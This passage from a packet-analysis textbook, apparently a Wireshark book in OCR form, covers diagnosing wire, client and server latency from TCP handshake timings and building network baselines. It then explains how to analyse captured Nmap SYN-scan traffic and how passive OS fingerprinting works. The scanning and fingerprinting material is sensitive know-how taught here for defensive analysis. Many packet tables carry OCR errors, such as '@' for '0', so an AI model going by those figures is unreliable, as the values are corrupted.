that even though communications between two hosts are slow, that slow- 
ness doesn’t show the common symptoms of TCP retransmissions or dupli- 
cate ACKs. Thus, you need another technique to locate the source of the 
high latency. 

One of the most effective ways to find the source of high latency is to 
examine the initial connection handshake and the first couple of packets 
that follow it. For example, consider a simple connection between a client 
and a web server as the client attempts to browse a site hosted on the web 
server. We are concerned with the first six packets of this communication 
sequence, consisting of the TCP handshake, the initial HTTP GET request, 
the acknowledgment of that GET request, and the first data packet sent 
from the server to the client. 


To follow along with this section, ensure that you have the proper time display format 
set in Wireshark by selecting View » Time Display Format > Seconds Since Previous 
Displayed Packet. 


Normal Communications 


latency 1 .pcapng We'll discuss network baselines in detail a little later in the chapter. For now, 
just know that you need a baseline of normal communications to compare 
with the conditions of high latency. For these examples, we will use the file 
latencyl.pcapng. We have already covered the details of the TCP handshake 
and HTTP communication, so we won’t review those topics again. In fact, we 
won’t look at the Packet Details pane at all. All we are really concerned about 
is the Time column, as shown in Figure 11-22. 





No. Time Source Destination Protocol Length Info 
m 10.000000 172.16.16.128 74.125.95.104 TCP 66 1606 > 8@ [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK_PERM=1 
2 0.030107 74.125.95.104 172.16.16.128 TCP 66 80 + 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=572@ Len=@ MSS=14@6 SACK_PERM=1 WS=64 
| 3 0.000075 172.16.16.128 74.125.95.104 TCP 54 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
| 40.000066 172.16.16.128 74.125.95.104 HTTP 681 GET / HTTP/1.1 
| 50.048773 74.125.95.104 172.16.16.128 TCP 60 8@ + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=@0 
L 6 0.022176 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 








Figure 11-22: This traffic happens very quickly and can be considered normal. 


This communication sequence is quite quick, with the entire process 
taking less than 0.1 seconds. 

The next few capture files we’ll examine will consist of this same traffic 
pattern but with differences in the timing of the packets. 


Slow Communications: Wire Latency 


latency2.pcapng Now let’s turn to the capture file latency2.pcapng. Notice that all of the 
packets are the same except for the time values in two of them, as shown 
in Figure 11-23. 
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No. Time Source 


Destination Protocol Length Info 


j: 1 0.000000 172.16.16.128 74.125.95.104 TCP 66 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK_PERM=1 

| 2 0.878530 74.125.95.104 172.16.16.128 TEP. 66 8@ + 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=572@ Len=@ MSS=1406 SACK_PERM=1 WS=64 
3 0.016604 172.16.16.128 74.125.95.104 TCP 54 1606 + 80 [ACK] Seq=2@82691768 Ack=2775577374 Win=16872 Len=0 
4 @.000335 172.16.16.128 74.125.95.104 HTTP 681 GET / HTTP/1.1 

| 5 1.155228 74.125.95.104 172.16.16.128 TCP 60 8@ + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=0 

— 6 0.015866 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 











Figure 11-23: Packets 2 and 5 show high latency. 


latency3.pcapng 


As we begin stepping through these six packets, we encounter our first 
sign of latency immediately. The initial SYN packet is sent by the client 
(172.16.16.128) to begin the TCP handshake, and a delay of 0.87 seconds is 
seen before the return SYN/ACK is received from the server (74.125.95.104). 
This is our first indicator that we are experiencing wire latency, which is 
caused by a device between the client and server. 

We can make the determination that this is wire latency because of the 
nature of the types of packets being transmitted. When the server receives 
a SYN packet, a very minimal amount of processing is required to send a 
reply, because the workload doesn’t involve any processing above the trans- 
port layer. Even when a server is experiencing a very heavy traffic load, it 
will typically respond quickly to a SYN packet with a SYN/ACK. This elimi- 
nates the server as the potential cause of the high latency. 

The client is also eliminated because, at this point, it is not doing any 
processing beyond simply receiving the SYN/ACK packet. Elimination of 
both the client and server points us to potential sources of slow communica- 
tion within the first two packets of this capture. 

Continuing, we see that the transmission of the ACK packet that 
completes the three-way handshake occurs quickly, as does the HTTP GET 
request sent by the client. All of the processing that generates these two 
packets occurs locally on the client following receipt of the SYN/ACK, so 
these two packets are expected to be transmitted quickly, as long as the 
client is not under a heavy processing load. 

At packet 5, we see another packet with an incredibly high time value. 
It appears that after our initial HTTP GET request was sent, the ACK packet 
returned from the server took 1.15 seconds to be received. Upon receipt of 
the HTTP GET request, the server sent a TCP ACK before it began sending 
data, which once again requires very little processing by the server. This is 
another sign of wire latency. 

Whenever you experience wire latency, you will almost always see it exhib- 
ited in both the SYN/ACK during the initial handshake and in other ACK 
packets throughout the communication. Although this information doesn’t 
tell you the exact source of the high latency on this network, it does tell you 
that neither client nor server is the source, so you know that the latency is due 
to some device in between. At this point, you could begin examining the vari- 
ous firewalls, routers, and proxies to locate the culprit. 


Slow Communications: Client Latency 


The next latency scenario we’ll examine is contained in latency3.pcapng, as 
shown in Figure 11-24. 
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No. Time Source Destination Protocol Length Info 
m 10.000009 172.16.16.128 74.125.95.104 TCP 66 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=@ MSS=1460 WS=4 SACK_PERM=1 
2 0.023799 74.125.95.104 172.16.16.128 TCP 66 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Len=@ MSS=1406 SACK_PERM=1 WS=64 
3 0.014894 172.16.16.128 74.125.95.104 TCP 54 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=0 
4 1.345023 172.16.16.128 74.125.95.104 HTTP 681 GET / HTTP/1.1 
5 0.046121 74.125.95.104 172.16.16.128 TCP 60 80 + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=@ 
= 6 0.016182 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 





Figure 11-24: The slow packet in this capture is the initial HTTP GET. 


This capture begins normally, with the TCP handshake occurring very 
quickly and without any signs of latency. Everything appears to be fine until 
packet 4, which is an HTTP GET request after the handshake has completed. 
This packet shows a 1.34-second delay from the previously received packet. 

To determine the source of this delay, we need to examine what is 
occurring between packets 3 and 4. Packet 3 is the final ACK in the TCP 
handshake sent from the client to the server, and packet 4 is the GET request 
sent from the client to the server. The common thread here is that these are 
both packets sent by the client and are independent of the server. The GET 
request should occur quickly after the ACK is sent, since all of these actions 
are centered on the client. 

Unfortunately for the end user, the transition from ACK to GET doesn’t 
happen quickly. The creation and transmission of the GET packet requires pro- 
cessing up to the application layer, and the delay in this processing indicates 
that the client was unable to perform the action in a timely manner. Thus, 
the client is ultimately responsible for the high latency in the communication. 


Slow Communications: Server Latency 


latency4.pcapng The last latency scenario we’ll examine uses the file latency4.pcapng, as 
shown in Figure 11-25. This is an example of server latency. 











No, Time Source Destination Protocol Length Info 
1 @.00000@ 172.16.16.128 74.125.95.104 TCP 66 1606 + 8@ [SYN] Seq=2082691767 Win=8192 Len=@ MSS=146@ WS=4 SACK_PERM=1 
2 0.018583 74.125.95.104 172.16.16.128 TCP 66 80 + 1606 [SYN, ACK] Seq=2775577373 Ack=2082691768 Win=5720 Len=@ MSS=14@6 SACK_PERM=1 WS=64 
3 @.016197 172.16.16.128 74.125.95.104 TcP 54 1606 + 80 [ACK] Seq=2082691768 Ack=2775577374 Win=16872 Len=@ 
4 @.000172 172.16.16.128 74.125.95.104 HTTP 681 GET / HTTP/1.1 
5 0.047936 74.125.95.104 172.16.16.128 TCP 60 80 + 1606 [ACK] Seq=2775577374 Ack=2082692395 Win=6976 Len=0 
6 0.982983 74.125.95.104 172.16.16.128 TCP 1460 [TCP_segment of a reassembled PDU] 





Figure 11-25: High latency isn’t exhibited until the last packet of this capture. 


In this capture, the TCP handshake process between these two hosts 
completes flawlessly and quickly, so things begin well. The next couple 
of packets bring more good news, as the initial GET request and response 
ACK packets are delivered quickly as well. It is not until the last packet in 
this file that we see signs of high latency. 

This sixth packet is the first HTTP data packet sent from the server 
in response to the GET request sent by the client, and it has a slow arrival 
time of 0.98 seconds after the server sends its TCP ACK for the GET request. 
The transition between packets 5 and 6 is very similar to the transition we 
saw in the previous scenario between the handshake ACK and GET request. 
However, in this case, the server is the focus of our concern. 

Packet 5 is the ACK that the server sends in response to the GET request 
from the client. As soon as that packet has been sent, the server should begin 
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sending data almost immediately. The accessing, packaging, and transmitting 
of the data in this packet is done by the HTTP protocol, and because this is 
an application-layer protocol, a bit of processing is required by the server. 
The delay in receipt of this packet indicates that the server was unable to 
process this data in a reasonable amount of time, ultimately pointing to it 
as the source of latency in this capture file. 


Latency Locating Framework 


Using six packets, we’ve managed to locate the source of high network 
latency between the client and the server in several scenarios. The diagram 
in Figure 11-26 should help you troubleshoot your own latency issues. These 
principles can be applied to almost any TCP-based communication. 



































Client $$$ yp) mama Server 





SYN/ACK 


ACK -——____- 





7| —— layer 7 Protocol Request ————> 


3| -a———— Layer 7 Protocol Data 














ACK 














1] Wire Latency 





2| Client Latency 














3| Server Latency 





Figure 11-26: This diagram can be used to troubleshoot your own latency issues. 


Notice that we have not talked a lot about UDP latency. Because UDP is designed 
to be quick but unreliable, it doesn’t have any built-in features to detect and recover 
from latency. Instead, it relies on the application-layer protocols (and ICMP) that it’s 
paired with to handle data delivery reliability. 


Network Baselining 


When all else fails, your network baseline can be one of the most crucial 
pieces of data you have when troubleshooting slowness on the network. 
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For our purposes, a network baseline consists of a sample of traffic from 
various points on the network that includes a large chunk of what we 
would consider “normal” network traffic. The goal of having a network 
baseline is for it to serve as a basis of comparison when the network or 
devices on it are misbehaving. 

For example, consider a scenario in which several clients on the network 
complain of slowness when logging in to a local web application server. If you 
were to capture this traffic and compare it to a network baseline, you might 
find that the web server is responding normally but that the external DNS 
requests resulting from external content embedded in the web application 
are running twice as slowly as normal. 

You might have noticed the slow external DNS server without the aid of 
a network baseline, but when you are dealing with subtle changes, that may 
not be the case. Ten DNS queries taking 0.1 seconds longer than normal to 
process are just as bad as one DNS query taking 1 full second longer than 
normal, but the former situation is much harder to detect without a net- 
work baseline. 

Because no two networks are alike, the components of a network 
baseline can vary drastically. The following sections provide examples 
of the components of a network baseline. You may find that all of these 
items apply to your network infrastructure or that very few of them do. 
Regardless, you should be able to place each component of your baseline 
inside one of three basic baseline categories: site, host, and application. 


Site Baseline 


The purpose of the site baseline is to gain an overall snapshot of the traffic 
at each physical site on your network. Ideally, this would be every segment 
of the WAN. 

Components of this baseline might include the following: 


Protocols in Use 
To see traffic from all devices, use the Protocol Hierarchy Statistics 
window (Statistics >» Protocol Hierarchy) while capturing traffic from 
all the devices on the network segment at the network edge (router/ 
firewall). Later, you can compare against the hierarchy output to find 
out whether normally present protocols are missing or new protocols 
have introduced themselves on the network. You can also use this out- 
put to find above ordinary amounts of certain types of traffic based on 
protocol. 


Broadcast Traffic 
This includes all broadcast traffic on the network segment. Sniffing at 
any point within the site should let you capture all of the broadcast traf- 
fic, allowing you to know who or what normally sends a lot of broadcast 
out on the network. Then you can quickly determine whether you have 
too much (or not enough) broadcasting going on. 


Authentication Sequences 
These include traffic from authentication processes on random 
clients to all services, such as Active Directory, web applications, and 
organization-specific software. Authentication is one area in which 
services are commonly slow. The baseline allows you to determine 
whether authentication is to blame for slow communications. 


Data Transfer Rate 
This usually consists of a measure of a large data transfer from the site 
to various other sites in the network. You can use the capture summary 
and graphing features of Wireshark (demonstrated in Chapter 5) to 
determine the transfer rate and consistency of the connection. This is 
probably the most important site baseline you can have. Whenever any 
connection entering or leaving the network segment seems slow, you 
can perform the same data transfer as in your baseline and compare 
the results. This will tell you whether the connection is actually slow 
and will possibly even help you find the area in which the slowness 
begins. 


Host Baseline 


You probably don’t need to baseline every single host within your network. 
The host baseline should be performed on only high-traffic or mission- 
critical servers. Basically, if a slow server will result in angry phone calls 
from management, you should have a baseline of that host. 

Components of the host baseline include the following: 


Protocols in Use 
This baseline provides a good opportunity to use the Protocol Hierarchy 
Statistics window while capturing traffic from the host. Later, you can 
compare against this baseline to find out whether normally present pro- 
tocols are missing or new protocols have introduced themselves on the 
host. You can also use this to find unusually large amounts of certain 
types of traffic based on protocol. 


Idle/Busy Traffic 
This baseline simply consists of general captures of normal operating 
traffic during peak and off-peak times. Knowing the number of connec- 
tions and amount of bandwidth used by those connections at different 
times of the day will allow you to determine whether slowness is a result 
of user load or another issue. 


Startup/Shutdown 
To obtain this baseline, you'll need to create a capture of the traffic 
generated during the startup and shutdown sequences of the host. If 
the computer refuses to boot, refuses to shut down, or is abnormally 
slow during either sequence, you can use this baseline to determine 
whether the cause is network related. 
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Authentication Sequences 
Getting this baseline requires capturing traffic from authentication 
processes to all services on the host. Authentication is one area in 
which services are commonly slow. The baseline allows you to deter- 
mine whether authentication is to blame for slow communications. 


Associations/Dependencies 
This baseline consists of a longer-duration capture to determine 
what other hosts this host is dependent upon (and are depen- 
dent upon this host). You can use the Conversations window 
(Statistics > Conversations) to see these associations and depen- 
dencies. An example is a SQL Server host on which a web server 
depends. We are not always aware of the underlying dependencies 
between hosts, so the host baseline can be used to determine these. 
From there, you can determine whether a host is not functioning 
properly due to a malfunctioning or high-latency dependency. 


Application Baseline 


The final network baseline category is the application baseline. This 
baseline should be performed on all business-critical network-based 
applications. 

The following are the components of the application baseline: 


Protocols in Use 
Again, for this baseline, use the Protocol Hierarchy Statistics window in 
Wireshark, this time while capturing traffic from the host running the 
application. Later, you can compare against this list to find out whether 
protocols that the application depends on are functioning incorrectly 
or not at all. 


Startup/Shutdown 
This baseline includes a capture of the traffic generated during the 
startup and shutdown sequences of the application. If the application 
refuses to start or is abnormally slow during either sequence, you can 
use this baseline to determine the cause. 


Associations/Dependencies 
This baseline requires a longer-duration capture in which the 
Conversations window can be used to determine on which other 
hosts and applications this application depends. We are not always 
aware of the underlying dependencies between applications, so this 
baseline can be used to determine those. From there, you can deter- 
mine whether an application is not functioning properly due to a mal- 
functioning or high-latency dependency. 


Data Transfer Rate 
You can use the capture summary and graphing features of Wireshark 
to determine the transfer rate and consistency of the connections to 
the application server during its normal operation. Whenever the appli- 
cation is reported as being slow, you can use this baseline to determine 
whether the issues being experienced are a result of high utilization or 
high user load. 


Additional Notes on Baselines 


Here are a few more points to keep in mind when creating your network 
baseline: 


e When creating your baselines, capture each one at least three times: 
once during a low-traffic time (early morning), once during a high- 
traffic time (midafternoon), and once during a no-traffic time (late 
night). 

e When possible, avoid capturing directly from the hosts you are base- 
lining. During periods of high traffic, doing so may put an increased 
load on the device, hurt its performance, and cause your baseline to be 
invalid due to dropped packets. 


e Your baseline will contain some very intimate information about your 
network, so be sure to secure it. Store it in a safe place where only the 
appropriate individuals have access. But at the same time, keep it read- 
ily accessible so you can use it when needed. Consider keeping it on a 
USB flash drive or on an encrypted partition. 


e Keep all .pcap and .pcapng files associated with your baseline and create 
a cheat sheet of the more commonly referenced values, such as associa- 
tions or average data transfer rates. 


Final Thoughts 


This chapter has focused on troubleshooting slow networks. We’ve covered 
some of the more useful reliability detection and recovery features of TCP, 
demonstrated how to locate the source of high latency in network commu- 
nications, and discussed the importance of a network baseline and some of 
its components. Using the techniques discussed here, along with some of 
Wireshark’s graphing and analysis features, you should be well equipped to 
troubleshoot when you get that call complaining that the network is slow. 
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PACKET ANALYSIS FOR SECURITY 


Although most of this book focuses on 
using packet analysis for network trouble- 





shooting, a considerable amount of real- 
world packet analysis is done for security 
purposes. For example, an intrusion analyst might 
review network traffic from potential intruders, or a 
forensic investigator might attempt to ascertain the 
extent of a malware infection on a compromised host. 


Performing packet analysis while investigating security incidents is 
always a challenging scenario because it involves the unknown element of 
an attacker-controlled device. You can’t walk over to the attacker’s cubicle 
to ask a question or baseline their normal traffic; all you have to work 
with is the interaction you can capture between their system and yours. 
Fortunately, for an attacker to breach one of your systems remotely, they 
have to interact with the network in some form. Of course, they know that 
too, so they aren’t lacking in tricks to obfuscate their techniques. 


In this chapter, we’ll take the viewpoint of a security practitioner as 
we examine different aspects of a system compromise at the network level. 
We’ll cover network reconnaissance, malicious traffic redirection, and com- 
mon malware techniques. In some cases, we’ll take on the role of intrusion 
analyst as we dissect traffic based on alerts from an intrusion-detection sys- 
tem (IDS). Reading this chapter will provide you with insight into network 
security that may prove critical, even if you are not presently in a security- 
focused role. 


Reconnaissance 


synscan.pcapng 
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An attacker’s first step is often to perform in-depth research on the target 
system. This step, commonly referred to as footprinting, is frequently accom- 
plished using various publicly available resources, such as the target com- 
pany’s website or Google. Once this research is completed, the attacker will 
typically begin scanning the IP address (or DNS name) of their target for 
open ports or running services. 

Scanning allows the attacker to determine whether the target is alive 
and reachable. For example, consider a scenario in which bank robbers 
are planning to steal from the largest bank in the city, located at 123 Main 
Street. They spend weeks planning an elaborate heist, only to find out upon 
arrival at the address that the bank has moved to 555 Vine Street. Worse yet, 
imagine that the robbers plan to walk into the bank during normal business 
hours, intending to steal from the vault, only to get to the bank and discover 
it’s closed that day. Whether robbing a bank or attacking a network, ensuring 
that the target is alive and accessible is the first hurdle. 

Scanning also tells the attacker on which ports the target is listening. 
Returning to our bank robbers analogy, consider what would happen if the 
robbers showed up at the bank with absolutely no knowledge of the build- 
ing’s physical layout. They would have no idea how to gain access to the vault 
because they wouldn’t know the weak points in the bank’s physical security. 

In this section, we’ll discuss a few of the more common scanning tech- 
niques used to identify hosts, their open ports, and vulnerabilities on a 
network. 


So far, this book has referred to the sides of a connection as the transmitter and 
receiver or as the client and server. This chapter refers to each side of the communi- 
cation as either the attacker or the target. 


SYN Scan 


The type of scanning often done first against a system is a TCP SYN scan, 
also known as a stealth scan or a half-open scan. A SYN scan is the most com- 
mon type for several reasons: 


e [tis very fast and reliable. 
e Itis accurate on all platforms, regardless of TCP stack implementation. 


e Itis less noisy than other scanning techniques. 


The TCP SYN scan relies on the three-way handshake process to deter- 
mine which ports are open on a target host. The attacker sends a TCP SYN 
packet to a range of ports on the target, as if trying to establish a channel 
for normal communication on the ports. Once this packet is received by the 
target, one of several things may happen, as shown in Figure 12-1. 
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Figure 12-1: Possible results of a TCP SYN scan 


If a service on the target’s machine is listening on a port that receives 
the SYN packet, it will reply to the attacker with a TCP SYN/ACK packet, the 
second part of the TCP handshake. Now the attacker knows that port is open 
and a service is listening on it. Under normal circumstances, a final TCP ACK 
would be sent to complete the connection handshake. In this case, however, 
the attacker doesn’t want that to happen since they won’t be communicating 
with the host further at this point, so the attacker doesn’t attempt to complete 
the TCP handshake. 

If no service is listening on a scanned port, the attacker will not receive a 
SYN/ACK. Depending on the configuration of the target’s operating system, 
the attacker could receive an RST packet in return, indicating that the port is 
closed. Alternatively, the attacker may receive no response at all. No response 
could mean that the port is filtered by an intermediate device, such as a fire- 
wall or the host itself. On the other hand, it could just be that the response 
was lost in transit. Thus, while this result typically indicates that the port is 
closed, it is ultimately inconclusive. 
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The file synscan.pcapng provides a great example of a SYN scan per- 
formed with the Nmap tool. Nmap is a robust network-scanning applica- 
tion developed by Gordon “Fyodor” Lyon. It can perform just about any 
kind of scan you can imagine. You can download Nmap for free from hitp:// 
www.nmap.com/download. html. 

Our sample capture contains roughly 2,000 packets, telling us that 
this scan is of a reasonable size. One of the best ways to ascertain the scope 
of a scan of this nature is to view the Conversations window, as shown in 
Figure 12-2. There, you should see only one IPv4 conversation ® between 
the attacker (172.16.0.8) and the target (64.13.134.52). You will also see that 
there are 1,994 TCP conversations between these two hosts @—basically a 
new conversation for every port pairing involved in the communications. 











M Wireshark » Conversations » synscan = x 
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Ethernet * 1 IPv4:1 





IPv6 TCP * 1994 UDP 
































AddressA Port A AddressB PortB Packets Bytes PacketsA—B BytesA—B PacketsB—A BytesB—A Rel Start Duration Bits/sA—B Bits/ssB—A ^ 
64.13.134.52 65000 172.16.0.8 36050 1 58 0 0 1 58 1.690937000 0.000000 N/A N/A 
64.13.134,52 65000 172.16.0.8 36051 1 58 0 0 1 58 1,820296000 0.000000 N/A N/A 
64.13.134.52 52848 172.16.0.8 36050 1 58 0 0 1 58 1.821670000 0.000000 N/A N/A 
64.13.134,52 52848 172.16.0.8 36051 1 58 0 0 1 58 1.945599000 0.000000 N/A N/A 
64.13.134.52 61532 172.16.0.8 36050 1 58 0 0 1 58 1.946839000 0.000000 N/A N/A 
64.13.134,52 49155 172.16.0.8 36050 1 58 0 0 1 58 2.006228000 0.000000 N/A N/A 
64.13.134.52 61532 172.16.0.8 36051 1 58 0 0 1 58 2.070465000 0.000000 N/A N/A 
64.13.134.52 49155 172.16.0.8 36051 1 58 0 0 1 58 2.130300000 0.000000 N/A N/A 
64.13.134,52 44176 172.16.0.8 36050 1 58 0 0 1 58 2.196298000 0.000000 N/A N/A 
64,13.134.52 49999 172.16.0.8 36050 1 58 0 0 1 58 2.196434000 0.000000 N/A N/A 

64.13.134.52 40911 172.16.0.8 36050 1 58 0 0 1 58 2.255375000 0.000000 N/A N/A v 

Name resolution Limit to display filter 
Copy | Folow Stream Graph Close Help 


Figure 12-2: The Conversations window shows the variety of TCP communications taking place. 
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The scanning is occurring very quickly, so scrolling through the cap- 
ture file isn’t the best way to find the response associated with each initial 
SYN packet. Several more packets might be sent before a response to the 
original packet is received. Fortunately, we can create filters to help us find 
the right traffic. 


Using Filters with SYN Scans 


As an example of filtering, let’s consider the first packet in the capture, 
which is a SYN packet sent to the target on port 443 (HTTPS). To see 
whether there was a response to this packet, we can create a filter to show 
all traffic to and from port 443. Here’s how to do this quickly: 


Select the first packet in the capture file. 
2. Expand the TCP header in the Packet Details pane. 


3. Right-click the Destination Port field, select Prepare as Filter, and click 
Selected. 


4. This will place a filter in the filter dialog for all packets with the des- 
tination port of 443. Now, because we also want all packets from the 
source port of 443, click in the filter dialog at the top of the screen and 
erase the dst portion of the filter. 


The resulting filter will yield two packets, which are both TCP SYN 
packets sent from attacker to target, as shown in Figure 12-3. 





No. Time Source Destination Protocol Info 
32 0.000065 172.16.0.8  64.13.134.52 TCP 36051 + 443 [SYN] Seq=3713237785 Win=2048 Len=@ MSS=146@ 


Figure 12-3: Two attempts to establish a connection with SYN packets 


In this section, packets are shown using the time display format Seconds Since 
Previous Displayed Packet. 


Since there is no response to either of these packets, it’s possible that 
the response is being filtered by the target host or an intermediary device 
or that the port is closed. Ultimately, the result of the scan against port 443 
is inconclusive. 

We can attempt this same technique on another packet to see whether 
we get different results. To do so, clear your previous filter and select packet 9 
in the list. This is a SYN packet to port 53, commonly associated with DNS. 
Using the method outlined in the previous steps or by modifying your last 
filter, create a filter that will show all TCP port 53 traffic. When you apply 
this filter, you should see five packets, as shown in Figure 12-4. 





No. Time Source Destination Protocol Info 


50 [SYN, ACK] Seq=1117405124 72249 Win=584@ Len= 


2006 3.930109 64 6. C! e s i SYN, ACK] Seq=1117405124 Ack=3713172249 Win=584@ Len=0 MSS: 
2009 10.029025 64 in 172.16.0.8 i 3 36050 [SYN, ACK] Seq=1117405124 Ack= 3172249 Win=584@ Len=0 F 





Figure 12-4: Five packets indicating a port is open 


The first of these packets is the SYN we selected at the beginning of 
the capture (packet 9). The second is a response from the target. It’s a TCP 
SYN/ACK—the response expected when setting up the three-way handshake. 
Under normal circumstances, the next packet would be an ACK from the 
host that sent the initial SYN. However, in this case, our attacker doesn’t want 
to complete the connection and doesn’t send a response. As a result, the 
target retransmits the SYN/ACK three more times before giving up. Since 
a SYN/ACK response is received when attempting to communicate with the 
host on port 53, it’s safe to assume that a service is listening on that port. 

Let’s rinse and repeat this process one more time for packet 13. This is 
a SYN packet sent to port 113, which is commonly associated with the Ident 
protocol, often used for IRC identification and authentication services. If 
you apply the same type of filter to the port listed in this packet, you will 
see four packets, as shown in Figure 12-5. 





No. Time Source Destination Protocol Info 


5 14 0.061491 64.13.134.52 172.16.8.8 113 + 36050 [RST, ACK] Seq=2462244745 Ack=3713172249 Win=@ Len=@ 


571 0.000827 64.13.134.52 172.16.8.8 113 + 36061 [RST, ACK] Seq=1@27@49353 Ack=3696394777 Win=@ Len=@ 





Figure 12-5: A SYN followed by an RST, indicating the port is closed 
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The first packet is the initial SYN, which is followed immediately by an 
RST from the target. This is an indication that the target is not accepting 
connections on the targeted port and that a service is most likely not run- 
ning on it. 


Identifying Open and Closed Ports 


Now that you understand the different types of responses a SYN scan can 
elicit, you'll want to find a fast method of identifying which ports are open 
or closed. The answer lies within the Conversations window once again. In 
this window, you can sort the TCP conversations by packet number, with the 
highest values at the top, by clicking the Packets column header until the 
arrow points downward, as shown in Figure 12-6. 



































M Wireshark - Conversations - synscan aaa o x 
Ethernet"1 IPv4-1 IPv6 TCP*1994 UDP 
AddressA PortA AddressB PortB Packets Bytes PacketsA—-B BytesA—-B PacketsB-A BytesB—-A Rel Start Duration Bits/sA—B Bit: ^ 
172.16.0.8 36050 64.13.134,52 53 5 298 1 58 4 240 0.001913000 21.091302 21 
172.16.0.8 36050 64,13.134,.52 80 @5 298 1 58 4 240 0.129000000 21.272180 21 
172.16.0.8 36050 64,13.134.52 22 5 298 1 58 4 240 1.403484000 21.681859 21 
172.16.0.8 36050 64,13.134.52 113 2 118 1 58 1 60 0.065341000 0.061491 7545 
172.16.0.8 36050 64,13,134.52 25 2 118 1 58 1 60 1.403154000 0.062745 7395 
172.16,0.8 36050 64.13.134.52 31337 @2 118 1 58 1 60 1.756214000 0.062293 7448 
172.16.0.8 36061 64.13.134.52 113 2 118 1 58 1 60 3.070317000 0.061814 7506 
172.16.0.8 36050 64,13.134.52 70 2 118 1 58 1 60 4.016755000 0.061231 7577 
64.13.134.52 65000 172.16.0.8 36050 1 58 0 0 1 58 1.690937000 0.000000 N/A 
64.13.134.52 65000 172.16.0.8 36051 1 58 0 0 1 58 1,820296000 0.000000 N/A 
64.13.134,52 52848 172.16.0.8 36050 1 58 0 0 1 58 1.821670000 0.000000 N/A v 
< > 
Name resolution Limit to display filter 
Copy v| Follow Stream Graph Close Help 





Figure 12-6: Finding open ports with the Conversations window 
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Three scanned ports include five packets in each of their conversa- 
tions ®. We know that ports 53, 80, and 22 are open, because these five 
packets represent the initial SYN, the corresponding SYN/ACK, and the 
retransmitted SYN/ACKs from the target. 

For five ports, only two packets were involved in the communication @. 
The first is the initial SYN, and the second is the RST from the target. These 
results indicate that ports 113, 25, 31337, 113, and 70 are closed. 

The remaining entries in the Conversations window include only one 
packet, meaning that the target host never responded to the initial SYN. 
These remaining ports are most likely closed, but we’re not sure. 

This technique of counting packets worked for this host, but it won’t be 
consistent for all hosts you might scan, so you shouldn't rely on it exclusively. 
Instead, focus on learning what normal stimulus and response looks like 
and what abnormal responses to normal stimuli can mean. 





passiveosfinger 
printing.pcapng 


Operating System Fingerprinting 

An attacker puts a great deal of value on knowing the target’s operating 
system. Knowledge of the operating system helps the attacker configure all 
their methods of attack correctly for that system. It also allows the attacker 
to know the location of certain critical files and directories within the tar- 
get file system, should they succeed in accessing the system. 

Operating system fingerprinting is the name given to a group of techniques 
used to determine the operating system running on a system without hav- 
ing physical access to that system. There are two types of operating system 
fingerprinting: passive and active. 


Passive Fingerprinting 


Using passive fingerprinting, you examine certain fields within packets sent 
from the target to determine the operating system in use. The technique is 
considered passive because you listen to only the packets the target host is 
sending and don’t actively send any packets to the host yourself. This type 
of operating system fingerprinting is ideal for attackers because it allows 
them to be stealthy. 

That said, how can we determine which operating system a host is run- 
ning based on nothing but the packets it sends? This feat is possible due 
to the lack of standardized values in the specifications defined by protocol 
RFCs. Although the various fields contained in TCP, UDP, and IP headers 
are very specific, default values are typically not defined for every field. This 
means that the TCP/IP stack implementation in each operating system must 
define its own default values for these fields. Table 12-1 lists some of the 
more common fields and the default values that can be used to link them 
to various operating systems. Keep in mind that these values are subject to 
change with new OS version releases. 


Table 12-1: Common Passive Fingerprinting Values 


Protocol 
header 


IP 


TCP 


Field Default Platform 
value 
Initial time to live 64 NMap, BSD, OS X, Linux 
128 Novell, Windows 
255 Cisco IOS, Palm OS, Solaris 
Don’t fragment flag Set BSD, OS X, Linux, Novell, Windows, Palm OS, 
Solaris 
Not set Nmap, Cisco IOS 
Maximum segment size O Nmap 


1440-1460 Windows, Novell 
1460 BSD, OS X, Linux, Solaris 


(continued) 
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Table 12-1 (continued) 


Protocol 
header 


TER 


TCP 
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Field Default Platform 
value 
Window size 1024-4096 Nmap 
65535 BSD, OS X 
Variable Linux 
16384 Novell 
4128 Cisco IOS 
24820 Solaris 
Variable Windows 
SackOK Set Linux, Windows, OS X, OpenBSD 
Not set Nmap, FreeBSD, Novell, Cisco IOS, Solaris 


The packets contained in the file passiveosfingerprinting.pcapng are great 
examples of this technique. There are two packets in this file. Both are TCP 
SYN packets sent to port 80, but they come from different hosts. Using only 
the values contained in these packets and referring to Table 12-1, we should 
be able to determine the operating system architecture in use on each host. 
The details of each packet are shown in Figure 12-7. 

Using Table 12-1 as a reference, we can create Table 12-2, which is a 
breakdown of the relevant fields in these packets. 


Table 12-2: Breakdown of the Operating System Fingerprinting Packets 


Protocol header Field Packet 1 value Packet 2 value 
IP Initial time to live 128 64 

IP Don’t fragment flag Set Set 

TCP Maximum segment size 1,440 bytes 1,460 bytes 
TCP Window size 64,240 bytes 2,920 bytes 
TCP SackOK Set Set 


Based on these values, we can conclude that packet 1 was most likely 
sent by a device running Windows and packet 2 was most likely sent by a 
device running Linux. 

Keep in mind that the list of common passive fingerprinting identify- 
ing fields in Table 12-1 is by no means exhaustive. There are many quirks 
that may result in deviations from these expected values. Therefore, you 
cannot fully rely on the results gained from passive operating system 
fingerprinting. 





M Wireshark - Packet 1 - passiveosfingerprinting - o x 





> Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface @ 
> Ethernet II, Src: Vmware_f9:74:d8 (@0:0c:29:f9:74:d8), Dst: D-Link_21:99:4c (@@:05:5d:21:99:4c) 
V Internet Protocol Version 4, Src: 172.16.16.134, Dst: 168.143.162.100 
0100 .... = Version: 4 

«+++ 0101 = Header Length: 20 bytes 
